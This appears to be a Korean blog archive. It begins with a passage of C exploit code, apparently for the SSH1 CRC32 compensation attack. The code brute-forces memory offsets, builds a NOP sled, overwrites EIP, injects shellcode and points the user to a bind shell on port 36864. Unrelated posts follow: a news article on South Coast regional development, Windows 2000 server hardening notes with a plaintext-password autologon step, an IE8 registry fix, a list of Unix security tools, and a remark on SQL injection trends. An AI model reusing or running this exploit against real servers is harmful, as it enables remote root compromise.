        sprintf(commandline, "%s -p %i -v -l root %s 2> /tmp/output.txt", PATH_SSH, port, host);

          ret = system(commandline);
         
          if (grepstr != NULL) {
                  sprintf(commandline, "grep %s /tmp/output.txt > /dev/null", grepstr);
                  ret = system(commandline);
          }
          return ret;
}

int send_packet_shellcode(unsigned long buffer_offset, unsigned long eip_offset, unsigned int presumed_MSW, unsigned int target_MSW)
{
        int ret, i;
        unsigned long *ptr, buffer_offset_slide, temp;
        char ch,ch2;

        // Set the packet lengths (first one for the ssh-client)
        //  (second one is sent to the server)
        ptr = (unsigned long *) buffer;
          *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;

        // NOP sled (to entire packet)
        memset(ptr, 0x90, packet_length);

        // Running j to target_MSW (writing into the buffer, FFFF)
        // The +1 in "target_MSW+1" must be used because j starts at 0
          buffer_offset_slide = buffer_offset + 3;
          for (i=0; i < (target_MSW + 1) * 8 && i < packet_length; i+=8, buffer_offset_slide += 4) {
            *(ptr++) = buffer_offset_slide;
            *(ptr++) = 0x7350ffff;
          }
 
          // Inserting CRC32 compensation attack pattern
          //   Change the order of MSW-LSW
          ch = (target_MSW+1)&0xff;
          ch2 = ((target_MSW+1)&0xff00) >> 8;
          temp = (ch<<24)+(ch2<<16)+0x9090;
        insert_crc32_compensation_attack_pattern(ptr, buffer_offset_slide-1, temp);

 
        // Place EIP overwrite blocks
        ptr = (unsigned long *) buffer;
          ptr += 2;        // skip the length information

          ptr[presumed_MSW * 2] = eip_offset;
          ptr[target_MSW * 2] = eip_offset;

        // Change the word order in buffer
        change_word_order();

          // Insert the shellcode (no word-order things here)
          memcpy(buffer+8+packet_length-strlen(shellcode)-16, &shellcode, strlen(shellcode));

        // Send packet (no grepping)
        ret = send_packet_and_check_result(NULL);

          return ret;
}

int send_packet_kernel(unsigned long kernel_offset, unsigned long buffer_offset)
{
          int ret, i;
          unsigned long *ptr;

          ptr = (unsigned long *) buffer;
          *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;

          for (i=0; i<packet_length; i+=8) {
            *(ptr++) = kernel_offset;
            *(ptr++) = 0x7350ffff;
          }

          ptr = (unsigned long *) buffer;
          ptr += 2;

        insert_crc32_compensation_attack_pattern(ptr+2, buffer_offset+6, 0x0100ffff);

          change_word_order();

        ret = send_packet_and_check_result("crc32");

        return ret;
}

int find_stack(unsigned long start_offset, unsigned long buffer_offset)
{
          unsigned long offset;
          long step;
          int ret;
          int count;

          offset = start_offset;

          printf("Finding lower kernel area boundaryn");
          while (1) {
            printf("  Testing h..boundary offset 0x%08x ", offset*2);
            fflush(stdout);
            ret = send_packet_kernel(offset, buffer_offset);
            if (ret == 0) {
                      printf("FOUND. (CRC32 Attack Detected)n");
                      break;
            }
            else {
                      printf("NOT FOUND. (SEQV)n");
                    }
            //    offset -= 0x800;
            offset -=2;
          }
          return offset+2; // We only need the exact h..kernel distance
}

int buffer_test(unsigned long start_offset, unsigned long packet_length)
{
          FILE *f;
          int ret, i, j;
          unsigned long *ptr;

          ptr = (unsigned long *) buffer;
        *(ptr++) = packet_length;
          *(ptr++) = packet_length-1;
 
          for (i=0, j=0; i<packet_length; i+=16, j+=4) {
            *(ptr++) = start_offset+j;
            *(ptr++) = 0xffffffff;
            *(ptr++) = start_offset+j+1;
            *(ptr++) = 0xffffffff;
          }

        change_word_order();

        ret = send_packet_and_check_result("Corrupted");
          return ret;
}

unsigned long find_buffer(unsigned long start_offset, unsigned stop_offset)
{
          int ret;
          unsigned long offset;
          long step;

          // Find estimate for h..buf distance
          printf("Finding estimate for h..buf distancen");
          offset = start_offset;
          while (1) {
            printf("  Testing h..buf offset: 0x%08x B", offset*2); // 2 -> 16-bit offset
            fflush(stdout);
            ret = buffer_test(offset, packet_length);
            if (ret == 0) {
                      printf("  FOUND (Corrupt bytes)n");
                      break;
            }
            else {
                      printf("  NOT FOUND (SEQV)n");
            }

            offset += packet_length/2/2;
            if (offset > stop_offset) {
                      printf("Stop offset reached. Exitingn");
                      return 0;
            }
          }

          // Find exact distance
          printf("Finding exact h..buf distancen");
 
          // Calculate the step size
          step = 1;
          while (1) {
            if (step > packet_length/2/2/2)
              break;
            step = step<<1;
          }

          offset -= step;
          while(step > 3) {
            printf("  Testing h..buf offset: 0x%08x B (prev. step=0x%08xh)", offset*2, step*2);
            fflush(stdout);
            ret = buffer_test(offset, packet_length);
            step = step/2;
            if (ret==0) {
                      printf(" FOUND. Decreasing by 0x%08xn", step);
              offset -= step;
            }
            else {
                      printf(" NOT FOUND. Increasing by 0x%08xn", step);
                      offset += step;
            }
          }

          printf("Found exact distance: 0x%08xn", offset*2);

          return offset;
}

void try_shellcode(unsigned long eip_guess, unsigned long buf_offset, unsigned long kernel_offset)
{
          long int higher, lower, p, t; // Offsets to seach, expands from the middle
          unsigned long h, eip_MSW_offset, roof_reached = 0;

          h = 0xc0000000 - kernel_offset * 2;

          // eip_offset must point to the MSW of eip, which resides at higher half of eip. Convert to 16-b offset  
          eip_MSW_offset = (eip_guess - h + 2) / 2;

          higher = 0;
          lower = -4;
          printf("Trying to run shellcode. If output stalls, telnet to %s:36864n", host);
          while(1) {
            for(p=0x805 ; p<=0x806 ; p++) {
                      for(t=p+1 ; t<=0x808 ; t++) {
                        if (eip_guess+higher < 0xc0000000) {
                                  printf("  Trying shellcode / (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+higher, p, t);
                                  send_packet_shellcode(buf_offset, eip_MSW_offset + higher/2, p, t);
                        }
                        else if (!roof_reached && eip_guess+higher >= 0xc0000000) {
                                  printf("Higher search hit kernel bound. Continue with lower search only.n");
                                  roof_reached = 1;
                        }
                        printf("  Trying shellcode \ (eip_MSW@0x%08x pres_MSW=0x%04x targ_MSW=0x%04x)n", eip_guess+lower, p, t);
                        send_packet_shellcode(buf_offset, eip_MSW_offset + lower/2, p, t);        
                      }
            }
           
            higher += 4;
            lower -= 4;
          }
}

int main(int argc,char *argv[])
{
          unsigned long kernel_offset, buf_offset;

        // initialize the buffer
        buffer_init();

        // find the buf
        //  1st arg : start search from this offset
        //  2nd arg : stop search to this offset
        buf_offset = find_buffer(0x0, 102400/2*10);
       
        // find the stack
        //  1st arg : start search from this (16-bit) offset (high limit)
        //  2nd arg : found buf offset
        kernel_offset = find_stack(0xb7f88500/2, buf_offset);
       
        // try to send and run shellcode
        //  1st arg : initial guess where the eip is living (absolute 8-bit address)
        //  2nd arg : found buf offset
        //  3rd arg : found stack (0xc0000000) offset
          try_shellcode(0xc0000000 - 0x2600, buf_offset, kernel_offset);

        // destroy the buffer
        buffer_destroy();
          return 0;
}
2009/09/30 21:44 2009/09/30 21:44

<남해안시대>-①`복합규제에 묶인 `블루오션'

연합뉴스 | 입력 2009.09.14 08:10 | 수정 2009.09.14 08:15

 



국립공원.수자원보호구역 중첩..천혜의 자연조건 불구 기반 열악
※편집자 주 = 부산과 경남, 전남을 아우르는 '남해안 시대'가 열리고 있다. 경남도가 남해안권 자치단체간 협력을 통한 상생과 국토의 균형발전을 위해 앞장 서 주창한 지 만 5년만이다.

'동ㆍ서ㆍ남해안권발전특별법'으로 법제화된 데 이어 오는 11월이며 남해안발전종합계획안이 확정돼 구체적인 실행을 위한 발판이 마련된다.

대한민국의 미래 성장동력으로 기대되고 있는 `남해안 시대'의 주창 배경과 당위성, 향후 전략을 3편에 걸쳐 소개한다.

(창원=연합뉴스) 정학구 기자 = 김대호 경남지사가 5년 전 처음 주창했을 때만 해도 막연한 구호로만 들렸던 '남해안 시대'가 이제 현실화되고 있다.

절경을 자랑하면서도 중첩된 규제에 꽁꽁 묶여 낙후된 남해안이 이제 새로운 미래를 향해 꿈틀거리고 있는 것이다.

김태호 경남지사가 부산-경남-전남을 잇는 남해안 해양경제축 개발을 공식제안한 것은 2004년 11월.

전남과 부산 정치권 등의 전폭적인 지지를 받아 '남해안발전특별법'이 발의됐고 우여곡절 끝에 '동ㆍ서ㆍ남해안권발전특별법'이란 확대된 법안의 제정으로 결실을 봤다.

남해안권 발전종합 계획안이 오는 11월께 확정되면 내년부터 개발계획과 실시설계 수립 등을 거쳐 사업이 본격화돼 2020년까지 약 26조4천억원 가량이 투입된다.

◇왜 남해안시대인가 = 김태호 지사는 대한민국의 미래 성장동력이자 새로운 시대를 여는 '블루오션'으로 남해안을 꼽았다.

남해안의 아름다운 바다와 섬을 종합적으로 개발해 해양레포츠와 크루즈, 관광, 휴양을 아우르는 '제2의 지중해'로 건설하고 연안지역을 복합경제 중심지로 키우자는 것이다.

여기엔 모든 것이 집중된 수도권에 대응하는 '제2의 성장 축'으로 남해안을 발전시켜야 장기적으로 남해안과 수도권이 지속가능한 성장을 할 수 있다는 판단도 작용했다.

프랑스가 파리에서 900㎞나 떨어진 지중해 남부 연안에 리조트와 첨단 산업단지, 임해 산업단지 등을 조성해 국가균형발전과 수도권 집중완화란 두 마리 토끼를 잡는데 성공한 것은 우리에게 시사하는 바가 크다는 것이 김 지사의 말이다.

현재 수도권은 남해안 1만2천519㎢보다 좁은 1만1천776㎢에 남해안(872만8천명)의 2.7배나 되는 2천371만1천명이 몰려 살고 있다.

경제활동 인구 역시 수도권에 49.9%가 집중돼 있는 반면 남해안에는 17.0%가 거주하고 있다.

수도권의 지역내 총생산(GRDP)도 5천373억 달러로 남해안 1천926억 달러의 2.8배나 된다.

수도권이나 국가의 미래를 위해서도 남해안을 새로운 성장 축으로 만드는 것은 불가피하다는 것이다.

◇ 남해안, 어떤 곳인가 = 남해안에는 2천460개의 크고 작은 섬들이 있고 청정해역 곳곳에 양식장이 들어서 있다.

부산에서 목포까지 직선거리는 약 250㎞에 불과하지만 꼬불꼬불한 리아스식 해안선의 총 길이는 약 1만㎞나 된다.

일조량도 가장 많아 연간 총 2천157시간이나 되며 개펄 면적은 2천550㎢로 전국 개펄의 17.3%를 차지한다.

남해안권에는 86개 산업단지가 있고 4천700여개 기업이 입주해 있으나 전체적인 산업별 비중을 보면 여전히 1차 산업이 높다.

특허출원 건수와 등록건수를 보면 남해안은 전국의 4.7%와 3.6%로 수도권의 52.6%와 55.4%에 비교도 되지 않는다.

중국의 동북 3성을 비롯해 일본 긴키, 한국 수도권 등을 포함한 동북아 10대 경제권 속에서 남해안은 인구나 GRDP 측면에서 최하위권을 맴돈다.

다행스러운 것은 신재생 에너지인 태양광과 수력발전량은 33.5%와 83.5%로 경쟁력을 보유하고 있는 등 녹색성장에 적합한 여건을 갖추고 있다는 점이다.

잠재적인 관광자원이 엄청난데 비해 기반시설은 열악하기 짝이 없다.
총 2만5천475㎞에 이르는 도로의 포장률은 전국 평균 78.3%에도 못미치고 전남과 경남은 70%를 밑돈다.

남해안 고속도로는 십수년간 상습체증에 시달리고 있고 확장공사가 이제야 진행 중이다.
고성과 통영 등 서부와 중ㆍ동부 경남을 잇는 국도들은 주말과 휴일에 차량행렬로 몸살을 앓고 있다.

철도 역시 일제시대 이후 거의 손을 대지 않아 단선(單線)으로 운행돼오다 최근 복선(復線) 전철화 공사가 진행되고 있지만 진척도는 더디다.

◇ 남해안과 복합 규제 = 남해안 자치단체들이 아름다운 풍광을 자산으로 관광개발에 나서려고 해도 해상국립공원과 수산자원보호구역, 문화재보호구역 등 중복 규제에 묶여 사실상 손을 놓고 있었다.

경남 통영ㆍ거제ㆍ사천ㆍ남해ㆍ하동 등은 한려해상국립공원(면적 546㎢)으로, 전남 여수ㆍ고흥ㆍ거문도 등은 다도해국립공원(2천321㎢)으로 각각 묶여 있다.

이 해상국립공원이 남해안에만 존재하는데다 수산자원보호구역도 10곳 가운데 9곳(6천521㎢)이 남해안에 집중돼 있다.

이 때문에 도와 각 시ㆍ군이 추진하려던 각종 개발계획은 번번이 제동이 걸렸다.
남해안이 최적의 장소인 요트산업 클러스터를 통영시 일원에 설치하려고 했지만 수산자원보호구역에 묶여 어려움을 겪었다.

거제 해금강 집단시설지구와 마산 구산해양관광단지, 사천 비토관광지 개발, 하동 선블루리조트, 통영 해전사박물관, 통영 해상케이블카 설치사업 등이 줄줄이 같은 운명을 겪었다.
2009/09/30 19:19 2009/09/30 19:19
-서버 설정:
Windows 서버 세팅

[1] 파티션

시스템파티션(NTFS, 4~5G정도 하드크기에 따라 책정) + DATA파티션(NTFS) + 페이징파일파티션(FAT32, ram파일크기의 2~3배정도) 페이징 파일을 옮겨 줘야 한다구 하네요…



라이센스 서버단위, 동시연결개수 <- 기본값

사용자단위



네트워크 환경 등록정보, 네트워크용 파일 및 프린터 공유 등록정보에서 네트워크 응용 프로그램을 위해 데이트 처리량 최대화 체크(웹서버+db서버사용시…)



페이징 파일 수정/삭제/추가 방법

내컴퓨터 등록정보 – 고급 – 성능옵션 – 가상메모리 – 변경 버튼 클릭후 설정



*참고

내컴퓨터 등록정보 – 고급 – 시작및복구에서,

디버깅 정보 쓰기를 없음으로 해주면,

보안과 성능에 향상을 줄수 있음.

**참고

초기 설치후 WORKGROUP으로 되어 있는 작업그룹을 독립적인 그룹으로 만들어준다.

- 도메인을 이용해서 설정해주면 편리할 듯.



[2] 서비스팩 & 핫픽스

SP2, SRP1, Q314147(snmp), Q313829(windows shell), Q319733(IIS누적형패치),

Sql SP2, Sql sp2이후 보안 release패치(버전 800_608)

Internet Explorer의 windows update를 이용해서 패치적용



[3] .Net사용시(한글버전)

닷넷 설치, SP1, Q322301(asp.net 버퍼오버플로우)



[4] 필요한 서비스만 구동(일반적으로 서버 세팅후 적용된 서비스에서)

다음의 서비스 필요없을경우 사용안함으로 설정(SP2설치후 적용할 것)

Alerter, Computer Browser, DHCP Client & Server, Distributed File System, Distributesd Link Tracking Client & Server, DNS Client & Server, Intersite Messaging, Print Spooler, Remote Registry Service, RunAs Service, TCP/IP NetBIOS Helper Service, Telnet, Windows Media Service 4가지 등~



[5] 다음의 서비스를 특정계정으로(시스템계정이 아닌) 시작하도록 할 것.

MSSQLSERVER, SQLSERVERAGENT : 예를들어 sql_starter와 같이 계정(admin그룹에 포함시킴)을 하나 만들어서 이 계정으로 시작하도록 설정을 한다.

- 차후 패스워드나 계정 변경이 있을시 반드시 서비스에서 재설정 해줄 것



[6] 보안관련 몇가지 처리

* NetBIOS 서비스 제거 : Network등록정보중 Wins에서 설정

* 서버 목적에 따른 서버 최적화 : 일반적인 웹서버의 경우 Network 등록정보에서 à Microsoft 네트워크용 파일 및 프린터 à 네트워크 응용프로그램을 위해 데이터 처리량 최대화로 설정

* 성능옵션 및 가상메모리 설정 – 다른 물리적인 디스크나 시스템 파티션에서 분리시킨다. à  시스템 파티션에서 페이지파일 제거시 차후 메모리덤프 파일 생성이 안됨. 따라서, 시스템 등록정보의 고급텝에서 디버깅 정보 쓰기를 없음으로 할 것.

* $공유 즉, hidden 공유 제거

à 레지스트리 수정하면 됨

HKEY_LOCAL_MACHINE\System\CurrentControlSet\Services\LanmanServer\Parameters
Find the value named AutoShareServer and change the DWORD value to 0 (zero)



[7] Component관련

à       업로드 컴포넌트로 Sitegalexy upload component(1.2버전-win2k에서 잘 호환)사용.

Pds폴더를 www안에 초기세팅시 생성 : 이폴더에만 IUSR_Computename 계정에 쓰기권한을 적용해서 보안고려.



[8] MS-SQL 사용시 Server와 Client간의 버전은 같아야 하는가?

sql7.0 클라이언트 프로그램 사용 고객은 sql2000을 사용하는 서버에 접속시 정상접속이 안될수 있슴. (참고로 반대는 가능)





[9]자동로그온

regedit를 실행,

HK_L_M – Software – Microsoft – Windows NT – Current Version – Winlogon에서,

편집-문자열값을 클릭,

DefaultPassword             REG_SZ                        패스워드입력

AutoAdminLogon             REG_SZ                        1





Windows 2000 Server 웹 호스팅 서비스





< INSTALL >

1]windows 2000 server INSTALL

2]service pack  4 INSTALL

3]MS-SQL 2000 Standard INSTALL

4]sql service pack 3 INSTALL

5]security 관련 HotFix INSTALL

6]mail 관련 – freeware 또는 linux로 mail server만 따로 구축 고려







< 기타설정 >

1]quota 설정 체크 – check à home dir + sql data dir(사용시 추가) 로 설정…

à 가설 : 파티션이 홈페이지와 DB가 분리되어 있어서 따로 파티션당 설정해야할것같음.

à 가설적용 그러나, 아직 미흡한점이 많음.

à DB는 따로 용량이 설정되므로 홈페이지가 있는 파티션에만 quota적용.

2]mount 기능 가능 – directory만든후 mount

3]ftp사이트의 계정으로의 접속 – 포트를 다르게 설정(50000번대 이상으로)

4]IIS Unicode Bug점검 – UBAT 1.7이용 à 이상무

5]전자결재시스템 – 초기 한번만 설치후(Dacom의 경우) 차후 등록만 해주면 됨.

6]NetBIOS 서비스 제거 à Network등록정보중 Wins에서 설정

7]Network등록정보에서 à Microsoft네트워크용파일및프린터 에서 à 적절한 서버최적화 선택 à 네트워크 응용프로그램을 위해 데이터처리량 최대화로 설정

8]성능옵션 및 가상메모리 설정 – 다른 물리적인 디스크로 할당.

   à 시스템 파티션에서 페이지파일 제거시 차후 메모리덤프 파일 생성이 안됨.

9]Media Service설정 à Unicast

  RealServer Service ? à realserver8.0 설치가능(sp1에서 test-install만) à linux(bbs)서버에 세팅되어 있음.

10]사용자 인증 페이지 설정 à Windows 디렉토리 권한과 사용자계정의 권한을 적절히 매치시킨다.

11]db에대한 고객의 권한 – 모든권한 그러나, 백업권한은 없슴…고객이 백업시 DTS이용.

12]ODBC – SQL 서버인증선택 및 MDB파일을 MS-SQL데이터로 변환시

http://tt.co.kr/help/faq/ttboard.cgi?act=view&code=20&bname=NTHOSTFAQ&page=1&search_method=by_content&search_word=MDB

   à OLEDB로 유도

13]스토어드프로시저 및 JSP 지원여부

   à 스토어드 프로시저는 현재 지원

14]모든 백업은 1일 Full백업 – 로그파일 백업은 지원 안함.

à 보관 기간 3일

15]Component관련

à       업로드 컴포넌트로 Sitegalexy upload component(1.2버전-win2k에서 잘 호환)사용.

à       Pds폴더를 www안에 초기세팅시 생성 : 쓰기권한을 이폴더에만 적용해서 보안고려.

16]IIS에서 기본문서 사용순서 : index.asp – index.html – index.htm – default.asp – default.html – default.htm – main.asp – main.html – main.htm

17]mdb파일 사용 금지 à 호스팅 서버에서 동작 시 치명적인 에러를 내는 경우가 많이 있습니다. 따라서 일부 호스팅 업체에서는 MDB 파일의 사용을 금하고 있습니다. 즉 MDB 파일을 사용하신다면 자주 다운되기도 하고 속도도 느리며, 보안상 좋지 않으므로, 보다 안정적이고 속도도 빠른 MS SQL 서버를 사용하기를 권장

à mdb파일의 sql변환

http://tt.co.kr/help/faq/ttboard.cgi?act=view&code=21&bname=NTHOSTFAQ&page=1&search_method=by_content&search_word=MDB

18]server와 client간의 sql버전은 같아야 하는가?

  à 클라이언트 프로그램으로 서버에 접속시 서버가 sql2000이므로 sql2000클라이언트 프로그램을 설치해서 사용. Sql70클라이언트 프로그램으로 정상적으로 접속이 이루어지는지는 테스트해보아야 함.--- check

19]사용자계정의 디렉토리에 홈페이지, 로그등을 따로 설정 고려…

   à logs라는 디렉토리를 만들어 현재 따로 저장(웹, FTP, ODBC로그).

20]성능 로그 및 경고에서 새로운 로그및경고 생성 고려(서버부하고려)…check

21]web및 ftp로그 설정시 최소로 필요한 것만 선택 à 로그경로는 각자 계정으로 설정…

22]$공유 즉, hidden 공유 제거 à 제거시 질문 : 서버리부팅후나 서버서비스 재시작하면 다시 공유활성화됨.

à Server 서비스를 정지하면 그런 문제는 없어짐. 그러나, 다른 문제가 있는지 테스트중

--- 레지스트리 수정으로 이문제 해결했음.

23]ftp, web의 등록정보에서 디렉토리보안을 적절히 이용…

24]요금연체시 퍼미션은 어떻게 막을 것이가?

à 사용자 계정을 사용안함 체크를 하면 ftp등의 접속거부.

à 웹서비스는 중단으로 설정.

25]사용자계정 과 패스워드 백업은?

--- check





< 웹상에서 계정으로 홈페이지 확인 – IP로만 확인가능시 >

1]웹사이트를 만든다.

2]가상디렉토리를 만든다.

à 여기서 기본 웹사이트(wns.kobis.net)에서 가상디렉토리를 모두 생성한다.

3]그 가상디렉토리에 홈페이지의 경로를 준다.

4]웹상에서 확인.

à http://IPAddress/계정







< 보안관련 >

1]초기 administrator의 이름을 바꾼다.

2]HotFix설치 (이부분은 sp4 설치후 window update사용하면 해결될듯 합니다.)

Win2k

285156 : 윈도즈 2000 이벤트뷰어에서 체크안된 버퍼

291845 : IIS 서버에서 서비스를 거부 - 버그는 WebDAV의 결함을 이용한 것

293826 : IIS 4.0/5.0 버그 패치  

295534 :

296576 : msw3prt.dll 파일에서 버퍼 오버플로우가 발견 à IIS에서 msw3prt.dll 부분을 삭제300972(2001/06/12) : IIS 웹 서버의 인덱싱 서비스(Indexing Service) 기능과 연결되는 코드에서 발견  à IIS에서 .idq와 .ida 확장자의 스크립트 매핑 제거



SQL : 80233i_kor 80296i à 2001-05-22



3]IIS에서 보안설정 : .printer삭제 – msw3prt.dll부분





< MS-SQL 2000 서비스 관련 >

1]admin계정인지 sql의 sa계정인지 확인

--> 패스워드 변경시 서비스에서 sql에대한 계정의 패스워드도 함께 바꾸어 주어야 함.

è         아니면 서비스가 제대로 시작되지 않는다.

     à 해결법 : 계정을 추가(sql_starter) – adminstrators그룹에 추가 – 그외그룹은 삭제

                          서비스에서 sql로그온에서 계정지정부분에 새계정(sql_starter)을 추가

                          서비스 재시작…

* 기타 서비스(Media service, …)등도 위와같이 바꿀수 있다… - 이로인한 문제점은 아직 검토중

2]사용자 계정 및 DB 추가 관련


-계정 기본설정:
[1] 계정추가 – 그룹설정(nthosting1:100M, nthosting2:300M, nthosting3:1G)

[2] 디렉토리 생성 (계정명과 동일하게 설정) - kobis계정 참고

à logs, www 생성(이때, kobis폴더안의 세팅완료내역에 관련된 파일 복사)

à pds(fileUpload폴더)생성- 등록정보의 보안탭에서 적절한 계정부여 및 권한설정

IUSR_machinename(읽기,쓰기 권한만), 신청한 계정(읽기, 쓰기 권한까지)@백업삭제?

-          고급 사용권한 메뉴에서 삭제권한도 부여

administrators추가(모든권한)

[3] 생성한 디렉토리의 등록정보의 보안탭에서 적절한 계정부여 및 권한설정

à everyone계정삭제 : ‘부모로부터 상속 가능한 사용권한을 이 개체로 전파할 수 있음’ 체크를 없앤다.

à IUSR_machinename(읽기권한만) , 계정(읽기, 쓰기권한-고급 사용권한 메뉴에서 삭제권한 부여) , administrators추가(모든권한)

[4] ftp 사이트, web 사이트 설정

à ftp : 로그경로설정(각계정의 logs폴더) , 운영자에 각계정 추가(55xxx~5xxxx번대로 끝자리 1 또는 6 – http://kobis.net참고해서 순서대로 부여)@웹데몬이 실행않됨 “네트워크에 중복된 이름이 있습니다.”

à web : 로그경로설정(각계정의 logs폴더) , 등록정보 – 웹사이트 – 고급에서 도메인 추가, wns.kobis.net 사이트의 가상디렉토리 설정(설정시 계정명과 동일하게 설정하되 설정값은 디폴트 값으로 부여) @log파일이 인터넷 등록정보에 있는곳이 아닌 다른곳에….

[5] DNS설정(정방향 조회영역만 설정, 메일 레코드 MX값은 mail 레코드값을 211.47.67.70 부여해서 mail.도메인명. 으로 설정)

[6] 백업설정

à 최종 : 3일간 자동으로 /home 디렉토리 풀백업이 이루어짐.

à db는 데이터베이스 유지관리 설정(제목의 숫자를 참고로 설정하면됨.)

à 일일 확인(F:\Bk_part\bk_home , F:\Bk_part\bk_db_user\각해당폴더)

l       백업을 복원에 사용할 일이 생기면…

à 먼저 백업받은 파일을 더블클릭하면 창이 뜨고 여기서 복원마법사를 이용한다.

à 원하는 디렉토리만 선택후 복원을 하는데, 이때 원한다면 경로를 임의의 경로에다 복원할수 있다. 그리고, 복원시 권한등의 설정을 그대로 가져올수 있도록…

à 참고로 F:\Bk_part\bk_home\Extract를 만들어 두었음.



=================

data\안에 *.mdf와 *.ldf파일 즉, 데이터와 로그파일만이 남아 있을경우 다음과 같이 복원하면 된다.
QA에서,
sp_attach_db '복원할데이터베이스명', 'c:\data\데이터.mdf', 'c:\data\로그.ldf'
하시면 됩니다.
(EX) sql2000에서,
복원할데이터베이스명 : macs
경로 : c:\program files\microsoft sql server\mssql\data\macs_data.mdf
c:\program files\microsoft sql server\mssql\data\macs_log.ldf
sp_attach_db 'macs', 'c:\program files\microsoft sql server\mssql\data\macs_data.mdf ', 'c:\program files\microsoft sql server\mssql\data\macs_log.ldf'

==================

[데이콤전자결재]@

1.       먼저 적당한 위치에 설치를 한다.

2.       TSETUP.zip만 세팅하면 된다.(Dpsvcdll.zip은 컴파일과정 필요)

3.       세팅은 한번만 하면 된다.

4.       서비스를 자동시작 시켜준다.

5.       이제 SetupShop을 실행시켜 서비스 받으려는 고객마다 각각의 상점ID와 상점이름을 등록해주면 된다. (정상적인 메시지인지 확인)

6.       프로그램 삭제시 registry 등록된 것도 지워준다.

- (설치경로의 \bin\DpSvr –remove)

7.       재설치시엔 데이콤에 연락을 취해 초기화를 받는다.



[기타…]

1.       디스크쿼타 확인법

-          D:\드라이브의 등록정보에서 할당량을 선택 – 할당량항목 – Refresh해주면 된다. 기본은 100M기준이니 그 이상 서비스는 수작업으로 ‘할당량 항목’에서 해당 계정을 더블클릭해서 설정하면 됨.

2.       이벤트 뷰어를 통해서 모니터링

-          응용 프로그램, 보안, 시스템 로그를 한번씩 살펴본다.

-          로그가 꽉 찼다고 나오면 해당 로그에서 오른쪽 버튼을 클릭해서 모든 이벤트를 지우기를 한다. 이때, 필요시엔 저장(F:\EtcBackup\EventLog)하고 지운다.

3.       작업관리자도 한번씩 보며 모니터링한다.

-          지속적으로 CPU나 RAM을 소비하는 프로세스는 없는지…

-          보통 sqlservr.exe 와 dllhost.exe 프로세스 하나가 CPU 와 RAM사용하는 것이 대부분…(이와 관련한 서비스를 재시작함으로서 램사용율을 다시 초기화할 수 있다.)

4.       DB가 원격에서 잘 연결되지 않을 때(EM:엔터프라이즈관리자 또는 QA:쿼리에널라이져로 연결시도시) ,

-          클라이언트측에서 프로토콜은 TCP/IP로 되어있는지? (클라이언트 네트워크 유틸리티에서 확인 및 변경 가능)

-          서버는 IP 또는 지정한 도메인(sql.kobis.net)으로 되어있는지? (연결시)

-          엔터프라이즈 매니져(EM)에서 도구-옵션-고급의 로그인제한시간을 20초 정도로 늘여보라고한다.(일반적으로 연결제한 시간초과와 같은 에러메세지가 나왔을경우)

2009/09/02 19:11 2009/09/02 19:11
 ie8 에서 검색 공급자 구글을 추가하니 영어 구글로 검색이 된다

 레지스터 수정을 하면 간단하게 해결 할 수 있다.
 
  1. Register 를 찾는다.
     시작 - 실행 - regedit  후 경로 이동을 한다
     HKEY_CURRENT_USER\Software\Microsoft\Internet Explorer\SearchScopes
  2. 하위 디렉토리 에서 구글 검색을 찾는다.
  3. URL 을 수정한다
    http://www.google.co.kr/search?hl=en&btnG=Google+Search&q={searchTerms}  을
    http://www.google.co.kr/search?hl=ko&btnG=Google+Search&q={searchTerms}
2009/08/27 17:17 2009/08/27 17:17
SECURING YOUR UNIX SYSTEMS

  • White Papers
  • Tools
    • John the Ripper
      John the Ripper is a password cracker, currently available for UNIX, DOS, Win32. Its primary purpose is to detect weak UNIX passwords.
    • L0phtCrack
      Password Auditing and Recovery Application
    • exec.c
      exec.c 1.0.4 is a kernel module which logs all the commands executed on the system. Extremely powerful stealth logging made easy! Changes: This release fixes a memory allocation problem. Please update to the current version if you use the module. This module should work on 2.2.* kernels. By Pat Szuta
    • Virtual FTPD
      Virtual FTPD v6.4 is a secure FTP daemon which is derived from the OpenBSD ftp daemon and can allows virtual FTP accounts which do not have an /etc/passwd entry. For more information, here.
    • Snoopy
      Snoopy is designed to log all commands executed by providing a transparent wrapper around calls to execve() via LD_PRELOAD. Logging is done via syslogd and written to authpriv, allowing secure offsite logging of activity. Changes: Integrity checking, a new method of logging, and faster logging.
    • FPF
      FPF is a lkm for Linux which changes the TCP/IP stack in order to emulate other OS's TCP fingerprint. The package contains the lkm and a parser for the nmap file that let you choose directly the os you want. For more information, here.
    • Imsafe
      Imsafe is a host-based intrusion detection tool for Linux which does anomaly detection at the process level and tries to detect various type of attacks. Since Imsafe doesn't know anything about specific attacks, it can detect unknown and unpublished attacks or any other form of malicious use of the monitored application. Created for Linux systems but works on almost every UNIX flavor by watching strace outputs. Screenshots available here. Warning: Still in alpha. For more information, here.
    • IPtrap
      IPtrap listens to several TCP ports to simulate fake services (X11, Netbios, DNS, etc) . When a remote client connects to one of these ports, his IP address gets immediately firewalled and an alert is logged. It runs with iptables and ipchains, but any external script can also be launched. IPv6 is supported. Changes: Logging the scanned port, and no more iptables/ipchains zombies. For more information, here.
    • LOMAC
      LOMAC is a security enhancement for Linux that uses Low Water-Mark Mandatory Access Control to protect the integrity of processes and data from viruses, Trojan horses, malicious remote users, and compromised root daemons. LOMAC is implemented as a loadable kernel module - no kernel recompilations or changes to existing applications are required. Although not all the planned features are currently implemented, it presently provides sufficient protection to thwart script-kiddies, and is stable enough for everyday use. Whitepaper available here. Manual available here. Changes: Added mediation of directory modification operations, improving protection. here.
    • Maxty
      Maxty is a small kernel-space tty sniffer. It is a LKM which will attach to read/write syscalls and save incoming/outgoing requests to opened tty devices into separate log files. It provides a way keeping a track what is happening on virtual consoles similar to a keystroke recorder.
  • Links
2009/08/27 11:31 2009/08/27 11:31

중국발 Mass SQL 인젝션 공격이 다시 한 번 주춤하고 있습니다. 실제로 최근 들어 공격 횟수가 급격히 줄어 들고 있네요. 아마 인터넷 상에 퍼져있는 다양한 정보들의 도움으로 웹 서버와 웹 소스의 보안이 강화되었고, 이로 인해 쿠키 변조를 통한 Mass SQL 인젝션 공격도 약발이 다 되었나 봅니다.

음… 하지만 공격 횟수가 단순히 줄어 들었을 뿐이지 일련의 사태들이 완벽하게 종식된 것은 아니기 때문에 서버 관리자 분들의 꾸준한 관심과 관리에는 변함이 없어야 할 것입니다.

